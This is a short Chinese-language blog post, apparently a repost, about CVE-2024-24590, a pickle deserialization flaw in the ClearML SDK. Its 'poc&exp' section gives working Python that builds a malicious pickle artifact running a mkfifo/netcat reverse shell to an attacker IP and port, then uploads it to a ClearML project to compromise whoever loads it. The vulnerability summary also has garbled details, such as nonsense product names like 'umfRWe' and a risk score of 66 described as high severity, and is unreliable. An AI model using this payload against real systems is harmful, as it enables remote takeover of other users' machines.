|
免责声明：本文所涉及的信息安全技术知识仅供参考和学习之用，并不构成任何明示或暗示的保证。读者在使用本文提供的信息时，应自行判断其适用性，并承担由此产生的一切风险和责任。本文作者对于读者基于本文内容所做出的任何行为或决定不承担任何责任。在任何情况下，本文作者不对因使用本文内容而导致的任何直接、间接、特殊或后果性损失承担责任。读者在使用本文内容时应当遵守当地法律法规，并保证不违反任何相关法律法规。 |
CVE-2024-24590是Allegro AI的ClearML平台的客户端SDK版本0.17.0至1.14.2中的一个漏洞，该漏洞允许对不受信任的数据进行反序列化。攻击者可以利用此漏洞上传恶意工件，使其能够在与用户的系统交互时执行任意代码。受影响的产品包括umfRWe、umfRWc、umfRWd和umfRWb。该漏洞的风险评分为66，表明其严重程度很高，可能会对系统的机密性和完整性产生重大影响。
poc&exp
from clearml import Taskimport pickle, osclass RunCommand:def __reduce__(self):return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc **IP** **PORT** >/tmp/f',))command = RunCommand()task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"])task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")
原文始发于微信公众号（漏洞猎人）：CVE-2024-24590 | 反序列化
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论